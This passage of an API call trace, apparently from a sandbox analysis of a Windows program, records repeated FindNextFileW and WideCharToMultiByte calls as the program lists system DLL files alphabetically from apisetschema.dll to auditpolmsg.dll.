lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x38c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x38c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x38c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x38c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0028.468] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x38c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.469] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0028.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x38c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x38c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 